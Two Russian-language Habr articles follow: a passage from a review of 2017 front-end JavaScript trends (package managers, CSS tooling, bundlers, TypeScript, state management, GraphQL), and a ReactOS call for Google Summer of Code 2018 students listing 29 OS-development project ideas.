2017-й стал заметным годом в сфере управления пакетами JavaScript. Использование Bower продолжило падать, его заменяли на NPM. Последний релиз Bower состоялся в 2016-м, и даже те, кто его поддерживают, [рекомендуют](https://github.com/bower/bower/pull/2458) использовать NPM для фронтенд-проектов.
В октябре 2016-го широкой общественности был представлен менеджер пакетов Yarn. Он принёс в управление пакетами JS кое-что новое. Хотя он использует тот же общедоступный репозиторий пакетов, что и NPM, Yarn характеризуется более быстрой загрузкой зависимостей, меньшим временем установки пакетов и более дружелюбным API.
Yarn ввёл в обиход lock-файлы, которые позволяют воспроизводить сборку на множестве различных компьютеров. Тут же появился и оффлайновый режим, который позволяет разработчикам переустанавливать пакеты при отсутствии интернет-соединения. В результате популярность Yarn резко возросла, он начал использовался в тысячах проектов.
*Звёзды на GitHub для Yarn (фиолетовая линия) и NPM (коричневая линия). Источник: GitHub Star History*
В ответ на происходящее вышла пятая версия NPM, в которой была значительно улучшена производительность и было переработано API. Yarn после этого предложил технологию [Yarn Workplaces](https://yarnpkg.com/blog/2017/08/02/introducing-workspaces/), которая обеспечивает отличную поддержку репозиториев, в которых размещается множество JS-пакетов, что похоже на популярное средство [Lerna](https://github.com/lerna/lerna).
В сфере управления пакетами существуют, помимо Yarn и NPM, и другие клиенты для репозитория NPM. Так, ещё один популярный вариант — это [PNPM](https://github.com/pnpm/pnpm), о котором его разработчики пишут как о быстром, эффективно расходующем дисковое пространство менеджере пакетов. В отличие от Yarn и NPM, он поддерживает глобальный кэш для каждой когда-либо установленной версии пакета, ссылки на пакеты из которого делаются в папке `node_modules` проекта.
В итоге можно сказать, что NPM быстро адаптировался к росту Yarn, как результат, теперь оба эти менеджера пакетов являются популярными решениями.
Стили
-----
### ▍Инновации в работе со стилями
В последние несколько лет стали весьма распространены препроцессоры CSS вроде SASS, Less и Stylus. [PostCSS](https://github.com/postcss/postcss), представленный аж в 2014-м, буквально взлетел только в 2017-м, став в результате самым популярным препроцессором CSS. В отличие от других препроцессоров, в PostCSS принят модульный подход по работе с плагинами, похожий на тот, что реализует Babel при работе с JavaScript. В дополнение к преобразованию таблиц стилей, он предоставляет возможности линтинга и другие инструменты.
*Число загрузок из NPM для PostCSS, SASS, Stylus и Less. Источник: данные NPM по состоянию на 15-е декабря 2017-го*
В среде веб-программистов всегда присутствовало желание решить многие низкоуровневые проблемы с CSS, которые усложняют его использование в ходе разработки, основанной на применении компонентов. В частности, глобальное пространство имён усложняет создание стилей, изолированных в отдельном компоненте. То, что CSS хранится в файле, отличном от того, где находится код компонента, означает, что мелким компонентам требуется больше дискового пространства, и то, что в ходе разработки необходимо открывать и редактировать два файла.
Технология [CSS Modules](https://github.com/css-modules/css-modules) дополняет обычные CSS-файлы путём добавления сведений о пространствах имён, которые можно использовать для изоляции стилей компонентов. Всё это работает благодаря созданию уникального имени для каждого «локального» класса. Подобный подход показал себя жизнеспособным, он пользуется широкой поддержкой систем для сборки фронтенда вроде Webpack, в котором поддержка CSS Modules реализована в [css-loader](https://github.com/webpack-contrib/css-loader). У PostCSS есть [плагин](https://github.com/css-modules/postcss-modules), дающий те же возможности. Однако, то о чём тут говорится, не решает проблемы разделения кода компонента и стилей по разным файлам.
### ▍Альтернативные идеи в области CSS
Идея использования CSS в JS (CSS-in-JS) была озвучена в конце 2014-го года, в [знаменитом выступлении](https://speakerdeck.com/vjeux/react-css-in-js) Кристофера Чедеу (Vjeux), инженера Facebook из команды разработчиков React. Эта идея привела к разработке нескольких влиятельных библиотек, что упростило создание компонентных стилей. До сих пор самым популярным решением в этой области была библиотека [styled-components](https://github.com/styled-components/styled-components), которая использует [шаблонные литералы](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) ES6 для создания компонентов React из CSS-строк.
Ещё одно популярное решение — библиотека [Aphrodite](https://github.com/Khan/aphrodite), которая использует объектные литералы JavaScript для создания встроенных стилей, не зависящих от используемого фреймворка. В исследовании [State Of JavaScript 2017](https://stateofjs.com/2017/css/results/) 34% разработчиков заявили о том, что они пользовались CSS-in-JS.
В итоге можно отметить, что в деле обработки CSS наиболее популярным на данный момент инструментом является PostCSS, но многие переходят на решения, реализующие использование CSS в JS.
Сборщики модулей
----------------
### ▍Webpack
В 2017-м Webpack значительно укрепил позиции по сравнению со схожими инструментами предыдущего поколения.
*Загрузки Webpack, Gulp, Browserify и Grunt в NPM. Источник: npmtrends.com*
Webpack 2 был выпущен в феврале сего года. В нём появились важные возможности вроде модулей ES6 (Babel больше не требуется для транспиляции команд импорта) и алгоритма tree shaking, предназначенного для избавления от неиспользуемого кода (что позволяет сократить размер пакетов). Вскоре после этого вышла третья версия Webpack, в которой появилась возможность, называемая «подъёмом области видимости», которая позволяет собрать все Webpack-модули в один JS-пакет, что значительно уменьшает размер пакета.
В июле команда разработчиков Webpack [получила](https://medium.com/webpack/webpack-awarded-125-000-from-moss-program-f63eeaaf4e15) грант в рамках программы Mozilla Open Source Support, назначение которого — разработка системы поддержки WebAssembly. Теперь планируется обеспечить глубокую интеграцию Webpack с WebAssembly и системой модулей JavaScript.
В этом году можно было встретить инновации в сфере сборки модулей, которые не связаны с Webpack. В то время, как этот инструмент остаётся популярным, разработчики жалуются на сложность его правильной настройки и на наличие большого количества плагинов, необходимых для того, чтобы выйти на приемлемую производительность при работе с масштабными проектами.
### ▍Parcel
[Parcel](https://github.com/parcel-bundler/parcel) — интересный проект, который был замечен широкой общественностью в начале декабря (10000 звёзд на GitHub всего за 10 дней»). Разработчики говорят о нём, как о чрезвычайно быстром, не требующем настройки сборщике веб-приложений. Parcel, в основном, добивается вышеозначенного за счёт использования нескольких процессорных ядер и эффективной системы кэширования. Кроме того, он работает с абстрактными синтаксическими деревьями вместо строк, как делается в Webpack. Как и Webpack, Parcel, кроме того, поддерживает материалы, не являющиеся JS-файлами, вроде изображений и файлов со стилями.
Происходящее в сфере сборщиков модулей демонстрирует обычную схему развития событий в сообществе JavaScript-разработчиков, которая выражается в постоянном хождении между централизованным подходом, когда всё настроено и подготовлено заранее, и децентрализованным подходом где всё требуется настраивать самостоятельно.
Это можно наблюдать в переходе от Angular к React/Redux, и от SASS к PostCSS. Webpack, сборщики пакетов и средства запуска задач — всё это представляет собой децентрализованные решения со множеством плагинов.
На самом деле, Webpack и React в этом году критикуют по практически одинаковым причинам. В итоге возникает ощущение, что интерес сообщества смещается в сторону инструментов для сборки модулей, которые требуют как можно меньше настроек.
### ▍Rollup
Проект Rollup привлёк к себе серьёзное внимание до выпуска Webpack 2, в 2016-м, представив tree shaking — популярную функцию для избавления от неиспользуемого кода. Webpack ответил на это, включив [поддержку](https://webpack.js.org/guides/tree-shaking/) ключевой возможности Rollup в свой второй релиз. Rollup упаковывает модули не так, как Webpack, что позволяет делать размер пакетов меньше, но, в то же время, [препятствует](https://github.com/rollup/rollup/issues/372) использованию таких важных возможностей, как, например, разделение кода.
В апреле команда React [перешла](https://github.com/facebook/react/pull/9327) на Rollup с Gulf, в результате многие задались вопросом о том, почему был выбран именно Rollup, а не Webpack. Команда разработчиков Webpack отреагировала на это, [порекомендовав](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c) использовать Rollup для разработки библиотек, а Webpack — для разработки приложений.
В результате можно сказать, что Webpack до сих пор является самым популярным сборщиком модулей, но положение дел может и измениться.
TypeScript
----------
В 2017-м [Flow](https://github.com/facebook/flow) значительно сдал позиции в сравнении с [Typescript](https://github.com/Microsoft/TypeScript).
*Загрузки Flow и TypeScript в NPM. Источник: NPM Trends*
Хотя этот тренд существует уже несколько лет, в этом году он лишь усилился. Теперь TypeScript стал [третьим](https://insights.stackoverflow.com/survey/2017#technology) по популярности языком программирования по результатам исследования StackOverflow 2017-го года (Flow там даже не упомянут).
Среди причин столь высокого уровня внимания к TypeScript часто называют отличные инструменты (в особенности, подходящие для использования с редакторами вроде [Visual Sudio Code](https://code.visualstudio.com/)), поддержку линтинга (библиотека [tslint](https://github.com/palantir/tslint) стала весьма популярной), обширное сообщество, объёмную базу данных определений типов сторонних библиотек, качественную документацию и лёгкую настройку. На ранних стадиях развития TypeScript стал популярным буквально автоматически, благодаря тому, что он использовался в Angular, но в 2017-м он значительно укрепил свои позиции среди самых разных слоёв сообщества веб-разработчиков. По данным [Google Trends](https://trends.google.com/trends/explore?date=2015-12-15%202017-12-15&q=%2Fm%2F0n50hxv), популярность TypeScript за последний год возросла вдвое.
Разработчики TypeScript поддерживают высокий темп [выпуска релизов](https://github.com/Microsoft/TypeScript/wiki/Roadmap), что позволяет этому языку идти в ногу с новшествами JavaScript и постоянно улучшать систему типов. Сегодня TypeScript поддерживает такие возможности ECMAScript, как итераторы, генераторы, асинхронные генераторы и динамический импорт. Теперь с использованием TypeScript можно производить [проверку типов в JavaScript-коде](https://www.typescriptlang.org/docs/handbook/type-checking-javascript-files.html), что достигается посредством вывода типов и комментариев JSDoc. Если вы, для TypeScript-разработки, используете редактор Visual Studio Code, это означает, что теперь вы можете применять мощные средства трансформации кода, которые, например, позволяют переименовывать переменные и автоматически импортировать модули.
В результате можно отметить, что TypeScript в этом году по всем позициям выигрывает у Flow.
Управление состоянием приложения
--------------------------------
Redux остаётся самым популярным средством для управления состоянием приложения в проектах, основанных на React, показывая в 2017-м 5-кратный рост загрузок из NPM.
*Загрузки Redux из NPM в 2017-м. Источник: NPM Trends*
В сфере управления состоянием клиентских приложений у Redux есть интересный конкурент — MobX. В отличие от Redux, MobX использует наблюдаемые объекты состояния, и API, основанное на принципах [функционального реактивного программирования](https://github.com/lucamezzalira/awesome-reactive-programming). На Redux, в свою очередь, оказало серьёзное влияние традиционное функциональное программирование, тут в почёте чистые функции. Redux можно считать «ручным» средством для управления состоянием, в котором действия и редьюсеры явно описывают изменения состояния. MobX, в противоположность Redux, можно назвать «автоматическим» инструментом, так как шаблон наблюдаемого объекта выполняет все эти действия самостоятельно, без вмешательства разработчика.
MobX практически не делает предположений о том, как разработчик структурирует данные, о том, какие данные хранятся, или о том, можно ли их сериализовать в JSON. Всё это делает MobX весьма привлекательным для новичков, позволяя без особых сложностей начать работу с ним.
В отличие от Redux, MobX не отличается использованием транзакционного подхода и детерминированностью. Это означает, что разработчик не получает автоматически все те возможности по отладке и логированию, которые есть в Redux. Не существует простого способа, например, сделать снимок состояния MobX-приложения. Это означает, что отладчики, вроде [LogRocket](https://logrocket.com/), должны самостоятельно следить за наблюдаемыми объектами.
MobX используется несколькими крупными компаниями вроде Bank of America, IBM и Lyft. Растёт число [плагинов](https://github.com/mobxjs/awesome-mobx), шаблонов и руководств для MobX. Причём, популярность этой системы управления состоянием приложения растёт действительно быстро: от 50 тысяч загрузок в NPM в начале года, до 250-ти тысяч в октябре.
Для того, чтобы обойти вышеупомянутые ограничения, команда MobX занимается созданием нового проекта, сочетающего в себе сильные стороны React и MobX. Это — [mobx-state-tree](https://github.com/mobxjs/mobx-state-tree), или MST. Это, по сути, контейнер состояния, в недрах которого, для того, чтобы сделать работу с неизменяемыми данными столь же простой, как и с изменяемыми, используется MobX. В целом, при использовании MST, оказывается, что состояние остаётся изменяемым, но работа осуществляется с неизменяемой копией этого состояния, называемой снэпшотом.
Существует огромное количество инструментов разработчика, которые позволяют отлаживать и исследовать деревья состояния. Например, среди них можно отметить [Wiretap](https://wiretap.debuggable.io/) и [mobx-devtools](https://github.com/andykog/mobx-devtools). При работе с mobx-state-tree можно использовать инструменты разработчика Redux, так как MST и Redux похожи.
В результате можно сказать, что Redux всё ещё остаётся безусловным лидером, однако, не стоит забывать о MobX и mobx-state-tree.
GraphQL
-------
GraphQL — это язык запросов и среда выполнения для API, которые предлагают синтаксис работы с источниками данных, отличающийся описательностью и простотой использования. Вместо создания конечных точек REST, используя GraphQL можно применять синтаксис типизированных запросов, который позволяет JavaScript-клиентам получать именно те данные, которые им нужны. Возможно, это — самая важная инновация в разработке API за последние несколько лет.
Хотя спецификации языка GraphQL не менялись с [октября 2016-го](http://facebook.github.io/graphql/October2016/), интерес к нему всё растёт. За прошедший год в Google Trends зафиксирован [4-х кратный рост](https://trends.google.com/trends/explore?q=GraphQL) поисковых запросов по GraphQL, в NPM можно видеть [13-кратное](http://www.npmtrends.com/graphql) увеличение загрузок официального [JS-клиента GraphQL](https://github.com/graphql/graphql-js).
В настоящее время существует множество клиентских и серверных реализаций GraphQL. Например, [Apollo](https://www.apollographql.com/) — популярная библиотека, подходящая и для клиенткой, и для серверной разработки, в которой реализовано продуманное управление кэшем и имеется интеграция со многими популярными библиотеками для разработки интерфейсов вроде React и Vue. Популярный фреймворк [MEAN](https://github.com/linnovate/mean), охватывающий полный цикл разработки веб-приложений, использует GraphQL в слое API.
За последний год значительно выросло и [сообщество GraphQL](https://github.com/chentsulin/awesome-graphql). Коллективные усилия этого сообщества привели к созданию серверных реализаций GraphQL на более чем 20-ти языках и к выпуску тысяч учебных руководств и прочего подобного. [Вот](https://github.com/chentsulin/awesome-graphql) список популярных материалов по GraphQL.
Нужно отметить, что [react-starter-kit](https://github.com/kriasoft/react-starter-kit) — самый популярный шаблонный проект на React, так же использует GraphQL.
В целом, можно сделать вывод о том, что GraphQL — перспективная технология, популярность которой растёт.
Технологии, о которых стоит упомянуть
-------------------------------------
### ▍NapaJS
[NapaJS](https://github.com/Microsoft/napajs) — это новая многопоточная среда выполнения JavaScript, построенная на базе V8. Здесь можно пользоваться возможностями многопоточности в среде Node, что позволяет ускорить выполнение тяжёлых вычислений, задействующих процессор на полную мощность, которые иначе, с использованием существующей архитектуры Node, выполнялись бы медленнее. NapaJS предоставляет альтернативу существующей многопроцессорной модели. Реализовано это в виде модуля, который, как и любую другую библиотеку, можно загрузить из NPM.
Хотя потоками в Node пользоваться можно, применяя пакет [node-webworker-threads](https://github.com/audreyt/node-webworker-threads) и взаимодействуя с низкоуровневыми языками, Napa всё значительно упрощает, реализуя возможность использовать систему модулей Node в рабочих потоках. Кроме того, тут имеется качественное API для передачи данных между потоками, похожее на недавно вышедший стандарт, касающийся разделяемой памяти в JS.
Этот проект является результатом усилий Microsoft по реализации высокопроизводительной архитектуры в экосистеме Node. В настоящий момент NapaJS используется в поисковике Bing, как часть применяемых в нём серверных решений.
Учитывая то, что NapaJS пользуется поддержкой весьма серьёзной компании в лице Microsoft, можно ожидать долговременную поддержку и развитие этого проекта. Будет интересно посмотреть, как сообщество Node воспримет многопоточность, и что из этого выйдет.
### ▍Prettier
Тенденции последних лет заключаются в увеличении важности и сложности инструментов сборки проектов. С выходом [Prettier](https://github.com/prettier/prettier) можно говорить о том, что средство форматирования кода теперь стало популярным прибавлением в наборах инструментов для сборки фронтенда. Разработчики пишут о нём, как о средстве, которое жёстко задаёт определённые правила форматирования кода, приводя код к единообразному виду, что позволяет придерживаться единого стиля в проектах разного масштаба.
В то время, как инструменты для линтинга, вроде [ESLint](https://eslint.org/), уже давно умеют [автоматически применять правила](https://eslint.org/docs/user-guide/command-line-interface#--fix), Prettier отличается гораздо большими возможностями. В отличие от ESLint, Prettier поддерживает JSON, CSS, SASS, и даже GraphQL и Markdown. Кроме того, он предлагает глубокую [интеграцию с ESLint](https://prettier.io/docs/en/eslint.html) и со многими популярными [редакторами](https://prettier.io/docs/en/editors.html).
Пожалуй, если говорить о средствах автоматического форматирования кода, сообществу JS осталось лишь прийти к единому мнению по поводу точки с запятой.
Итоги
-----
Как видите, 2017-й принёс много нового в мир разработки фронтенда, да и в том, что касается базового JavaScript, произошло немало важных событий с далеко идущими последствиями. Надеемся, наш сегодняшний рассказ поможет вам, охватив одним взглядом то, чем жила веб-разработка в этом году, подготовиться к тому, что ждёт нас в 2018-м.
**Уважаемые читатели!** Какие события в мире JS и фронтенда, произошедшие в 2017-м, кажутся вам самыми интересными? | https://habr.com/ru/post/345792/ | null | ru | null |
# Проекту ReactOS требуются студенты для участия в Google Summer of Code 2018
Привет, Хабр!
Спешим сообщить, что операционная система ReactOS уже третий год подряд получает слоты на Google Summer of Code!
В случае успешной сдачи работы участник Google Summer of Code получит 3 600 евро.
Кто может участвовать?
----------------------
Участвовать могут любые студенты и **аспиранты** (т.к. в юрисдикции США аспиранты считаются **PhD Students**).
Что надо сделать, чтобы участвовать?
------------------------------------
1. Зарегистрироваться на <https://summerofcode.withgoogle.com/>;
2. Выбрать вариант участия как студент;
3. Выбрать ReactOS как проект участия;
4. Описать в свободной форме то, что вы хотите сделать в вашем пропосале. Подробнее об оформлении пропосала можно посмотреть [на сайте GSoC](https://summerofcode.withgoogle.com/organizations/6114032621191168/), общие рекомендации по пропосалу можно поглядеть [у Гугла](https://google.github.io/gsocguides/student/writing-a-proposal), и [на вики ReactOS](https://reactos.org/wiki/Google_Summer_of_Code_2018#Student_Application_Form);
5. Подписаться на [почтовую рассылку разработчиков](https://www.reactos.org/mailman/listinfo/ros-dev) и продублировать туда текст из пункта 4;
6. Обговорить в [IRC](https://reactos.org/irc) свое участие;
7. Взять в вашем учебном заведении **Proof of Enrollment** – бумагу, которая подтверждает, что вы являетесь студентом (или аспирантом) этого учебного заведения **на срок Google Summer of Code**.
Поторопитесь! Подача заявок закончится 27 марта!
Возможные идеи для участия – под катом.
Возможные идеи для участия
--------------------------
В этом году в качестве идей предлагаются следующие варианты (взято из [Wiki ReactOS](https://www.reactos.org/wiki/Google_Summer_of_Code_2018_Ideas) и свободно переведено с добавлением справочной информации):
1. Ваша идея. Если вы уже немного разбираетесь в инфраструктуре ReactOS, то вы можете предложить свою идею для реализации в рамках GSoC.
2. [NDIS](https://ru.wikipedia.org/wiki/NDIS)-драйверы для распространённых современных версий виртуальных машин. Это упростит установку ReactOS на последних версиях виртуальных машин, на которых уже не используются сетевые карты, для которых в проекте уже есть драйверы (такие, как AMD PCnet, Realtek RTL8139 и NE2000).
3. Разработка фундаментальных компонентов для поддержки Wi-Fi. Сейчас в проекте есть [поддержка открытых сетей Wi-Fi и сетей с шифрованием WEP](https://geektimes.ru/post/137830/), однако отсутствует поддержка большинства API, необходимых для работы с защищенными сетями. Для улучшения поддержки таких сетей предлагается реализовать API из Windows Vista+, также добавленное в Windows XP SP3, про которое можно почитать по [этой ссылке](https://msdn.microsoft.com/en-us/library/windows/desktop/ms706556(v=vs.85).aspx).
4. Поддержка технологии Plug-and-Play для стека устройств хранения. Это улучшит поддержку SCSI- и SATA-устройств. Предлагается начать задачу с улучшения драйвера scsiport, а потом улучшить поддержку PnP в драйвере [UniATA](http://alter.org.ua/ru/soft/win/uni_ata).
5. Стек поддержки протокола Bluetooth. Сейчас в ReactOS нет поддержки протокола Bluetooth. Предлагается начать задачу с менеджера устройств и поддержки [профиля Bluetooth](https://en.wikipedia.org/wiki/List_of_Bluetooth_profiles) для поддержки передачи файлов (OBEX-FTP).
6. Драйвер для шины Intel High Definition Audio. В ReactOS уже есть начальная поддержка этой спецификации для звуковых карт, и надо ее доработать, чтобы такой драйвер мог работать и на Windows, и на ReactOS. Подробнее про интерфейс шины – [по ссылке](https://msdn.microsoft.com/en-us/windows/hardware/gg462966).
7. Драйвер для Wine Audio. В контексте проекта Wine *драйвер* – это модуль, реализующий некоторый набор [COM](https://ru.wikipedia.org/wiki/Component_Object_Model)-интерфейсов поверх различных Linux-библиотек (в контексте звука таких, как ALSA, OSS или PulseAudio). Наличие такого модуля позволит использовать последние библиотеки Wine, связанные со звуковым API, позволит локализовать весь интерфейс в одном месте и сделать совместимый с Vista и более новыми Windows звуковой стек.
8. Аудиомикшер – позволит улучшить поддержку аудиодрайверов, которым мешает отсутствие этого компонента. По завершению этого проекта должна появиться возможность воспроизведения множества звуковых потоков в одно и то же время. Об аудиомикшере Windows можно почитать [тут](https://msdn.microsoft.com/en-us/library/ms705739(v=vs.85).aspx).
9. Автонастройка прокси, используя файлы PAC (Proxy Auto-Configuration) и протокол WPAD (Web Proxy Auto-Discovery Protocol), что позволит системе проще подключаться к локальным сетям, где используются прокси-серверы.
10. Удаленное управление Windows (Windows Remote Management, [WinRM](https://msdn.microsoft.com/en-us/library/aa384426(v=vs.85).aspx)) – используется для удаленного администрирования систем под управлением Windows, концептуально немного похож на SSH.
11. Дальнейшая интеграция поддержки протокола SMB (Server Message Block, в народе известно как "Сетевое окружение"). Несмотря на то, что уже существует [Samba](https://ru.wikipedia.org/wiki/Samba), ее код в некоторых местах специфичен для Unix-подобных операционных систем. Эта возможность очень востребована среди новых пользователей ReactOS (к примеру, передача файлов из хоста в гостевую ОС в VirtualBox завязана на поддержке сетевого окружения), и ее реализация приведет к общему улучшению поддержки сетевого окружения Windows. В качестве стартовой точки участнику предлагается начать с проекта [Samba-TNG](http://freshmeat.sourceforge.net/projects/samba-tng). Спецификация протокола SMB доступна [по ссылке](https://msdn.microsoft.com/en-us/library/cc246231.aspx).
12. Службы терминалов (Terminal Services). Один из ключевых компонентов для работы протокола для подключений к удаленному рабочему столу [RDP](https://ru.wikipedia.org/wiki/Remote_Desktop_Protocol). Необходимо доработать имеющуюся реализацию (об имеющейся функциональности [см. вики](https://www.reactos.org/wiki/ReactOS_Terminal_Services)), дополнив ее поддержкой входящих подключений удаленного рабочего стола.
13. Расширение наборов тестов ядра ReactOS – покрытие тестами некоторых частей ядра, таких как менеджер кэша ядра, Plug and Play и другие. Основная цель – в экстенсивном тестировании Native API (немного подробнее о нём можно посмотреть тут: <http://hex.pp.ua/native-api.php>). В качестве эталонных результатов необходимо рассматривать поведение ядра Windows.
14. Написание тестов для подсистемы Win32. Ядро NT поддерживает различные интерфейсы между User-mode-программами и функциями ядра. Такие интерфейсы называются подсистемами, и в теории (и [на практике](https://ru.wikipedia.org/wiki/Windows_Subsystem_for_Linux)) можно написать такую подсистему, которая может реализовать набор API другой операционной системы. В рамках этой задачи вам надо будет написать различные тесты для взаимодействия ядра и подсистемы Win32. В качестве эталонной реализации необходимо рассматривать поведение ядра и подсистемы Win32 самой Windows. Необязательным заданием может быть запуск другой подсистемы (такой, как OS/2, или [Interix](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B4%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9_%D0%BD%D0%B0_%D0%B1%D0%B0%D0%B7%D0%B5_UNIX)) внутри ReactOS. Подробнее об подсистемах ядра NT можно посмотреть на [английской википедии](https://en.wikipedia.org/wiki/Architecture_of_Windows_NT) и в книжке Марка Руссиновича "Windows Internals".
15. API [автоматизации UI](https://msdn.microsoft.com/en-us/library/windows/desktop/dd561932(v=vs.85).aspx), связанное со специальными возможностями (Accessibility) Windows. Сейчас этот программный интерфейс не реализован в ReactOS, хотя он является важной частью ОС Windows, т.к. на нем основаны различные инструменты для людей с ограниченными возможностями (такие, как экранный диктор, к примеру). После реализации этого API участнику предлагается проверить его работу с помощью открытой утилиты [NVDA](https://www.nvaccess.org/) (Non Video Desktop Access), помогающей слепым людям или людям с нарушениями зрения пользоваться компьютером. Также после реализации этого API оно будет предложено для слияния в проект Wine.
16. Расширение оболочки для поиска. В рамках этой задачи необходимо написать Shell Extension для Проводника ReactOS, которое будет искать файлы, т.к. сейчас пока такое расширение еще не реализовано. Также это расширение должно предоставлять совместимые API для других поставщиков поиска, как это делает Windows. О расширениях оболочки можно почитать [здесь](https://msdn.microsoft.com/en-us/library/windows/desktop/cc144067(v=vs.85).aspx), о расширениях, которые расширяют поиск – [здесь](https://msdn.microsoft.com/en-us/library/windows/desktop/bb776834(v=vs.85).aspx).
17. Поддержка [паравиртуализации](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%80%D0%B0%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F). Для улучшения опыта взаимодействия с ReactOS и повышения производительности предлагается реализовать некоторый набор API для поддержки различных гипервизоворов. В рамках GSoC предлагается выбрать одно из возможных направлений паравиртуализации:
* Заставить работать открытые драйверы гипервизора [Xen](https://ru.wikipedia.org/wiki/Xen);
* Реализовать набор драйверов, реализующих подмножество API гипервизора [HyperV](https://ru.wikipedia.org/wiki/Hyper-V) (такие улучшения также называются *"Enlightenments"*;
* Улучшить ядро, чтобы использовать [VMI](https://www.vmware.com/pdf/VMware_VMI_performance.pdf) (virtual machine interface), интерфейс паравиртуализации, предложенный компанией VMWare;
* Тестировать и интегрировать драйвера [VirtIO](https://wiki.libvirt.org/page/Virtio), или гостевые дополнения VirtualBox, или `open-vm-tools` в ReactOS.
18. Поддержка возможностей корзины из Windows Vista (NT v6.0+). В Windows Vista расширение оболочки, отвечающее за корзину, было расширено, и его внутренний интерфейс изменился. Предлагается в рамках проекта задокументировать изменения API и реализовать его в ReactOS. По оболочке Windows можно почитать [здесь](https://msdn.microsoft.com/en-us/library/bb773177(v=vs.85).aspx).
19. Реализация компонента MSHTML поверх WebKit. В рамках этого проекта необходимо сделать адаптер между API WebKit, и API компонента MSHTML, который позволяет отображать HTML-страницы. Об интерфейсе MSHTML можно почитать [тут](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa741317(v=vs.85)), об интерфейсе WebKit – [тут](https://trac.webkit.org/wiki/WebKit2).
20. Улучшить реализацию реестра. Для улучшения реализации предлагаются два возможных направления:
* Улучшить отказоустойчивость реализации, чтобы при сбое реестр не повреждался;
* Улучшить бинарную совместимость с реестром Windows. Сейчас в реализации реестра не реализованы до конца дескрипторы безопасности. Их реализация поможет интероперабельности с Windows и улучшит общую надежность системы;
Детали внутреннего строения реестра можно найти по этой [ссылке](http://amnesia.gtisc.gatech.edu/~moyix/suzibandit.ltd.uk/MSc/).
21. Куст реестра, связанный с данными счетчиков производительности. Немногие знают, что в реестре Windows есть специальный куст, называемый `HKEY_PERFORMANCE_DATA`. Этот куст содержит множество различных счетчиков производительности, но работать с ними бывает довольно неудобно. В ReactOS пока отсутствует этот куст, и его реализация поможет многим приложениям (в том числе и от Microsoft) запускаться. Подробнее о том, как использовать счетчики производительности можно [здесь](https://msdn.microsoft.com/en-us/library/aa373219%28v=VS.85%29.aspx).
22. Консоль управления. Именно через неё работают почти все графические утилиты администрирования в Windows. В ReactOS есть [зачаточная поддержка](https://github.com/learn-more/reactos/commits/mmc) оснасток консоли управления, и в рамках этой задачи необходимо улучшить эту поддержку. Подробнее о консоли управления можно почитать [тут](http://msdn.microsoft.com/en-us/library/bb756943.aspx).
23. Поддержка файлов PDB в реализации библиотеки dbghelp. Эти файлы содержат отладочную информацию для приложения, а dbghelp содержит в себе API для работы с такими файлами. Поддержка этих файлов в ReactOS позволит отлаживать компоненты режима пользователя в таких утилитах, как [WinDBG](https://en.wikipedia.org/wiki/WinDbg), Process Explorer, и других. О dbghelp можно почитать подробнее [тут](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679267(v=vs.85).aspx).
24. Кроссплатформенная реализация отладчика уровня ядра (Kernel Debugger, KD). Утилиты для отладки Windows (и ReactOS также) от Microsoft являются проприетарными и работают только под Windows. Реализация таких кроссплатформенных утилит позволит отлаживать ReactOS в режиме ядра под другой хостовой ОС, а также позволит отказаться от более простого отладочного протокола KDBG, который поддерживается в сборках от компилятора GCC.
25. Поддержка других портов для отладки ReactOS. Сейчас ReactOS поддерживает отладку через последовательный порт (COM-порт, RS-232), хотя многие компьютеры уже не имеют такого порта. Поддержка современных портов (типа 1394, Ethernet или USB) поможет отлаживать ReactOS на новых компьютерах, не используя на них режим режим отладки `Screen`, при котором все выводится на монитор компьютера с ReactOS. Также в рамках этой задачи в качестве альтернативы предлагается исследовать и реализовать недокументированный протокол отладки [KDVM](https://www.osr.com/nt-insider/2015-issue2/kdnet-debugging/), поддерживаемый Hyper-V и другими гипервизорами.
26. Поддержка отчетов об ошибках. Когда Windows падает, она записывает свое состояние в дамп памяти, и потом такой дамп можно проанализировать в отладчике. Поддержка дампов памяти в ReactOS упростит отладку и отправку отчетов об ошибках разработчикам. Подробнее о дампах памяти можно почитать [тут](https://blogs.technet.microsoft.com/askperf/2008/01/08/understanding-crash-dump-files/).
27. Поддержка нескольких мониторов. Сейчас в ReactOS есть поддержка перечисления мониторов, благодаря реализованному API [HwVidGetVideoChildDescriptor](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/video/nc-video-pvideo_hw_get_child_descriptor) в драйвере `videoprt.sys`. Этот драйвер дальше передает информацию драйверу подсистемы Win32 (win32k.sys), и уже именно win32k.sys решает, как необходимо отображать картинку на втором мониторе – дублировать, или расширить рабочий стол, или не использовать монитор. Реализация такого API позволит использовать ReactOS на нескольких мониторах, что бывает очень полезно для разработчиков, дизайнеров и простых пользователей. Подробнее можно почитать [на MSDN](https://msdn.microsoft.com/en-us/library/windows/desktop/dd145071%28v=vs.85%29.aspx).
28. Поддержка драйверов печати режима пользователя. В рамках архитектуры Windows существует множество интерфейсов для драйверов принтера (PostScript, Plotter, GDI/win32k). В рамках этой задачи необходимо реализовать базовую поддержку для драйверов печати пользовательского режима, использующих интерфейсы GDI. Подробнее о таких интерфейсах можно почитать [тут](https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-printer-interface-dlls).
29. Многопользовательская поддержка нескольких сессий. В современной Windows эта служба называется "Служба удаленного рабочего стола" (Remote Desktop Services) и реализация поддержки множественных сессий позволит каждому пользователю работать в своём изолированном окружении, запуск от другого пользователя (с созданием отдельной сессии) и улучшит совместимость с возможностями удаленной работы с Windows. Почитать про службу удалённого рабочего стола можно [тут](https://msdn.microsoft.com/en-us/library/bb892075(v=vs.85).aspx).
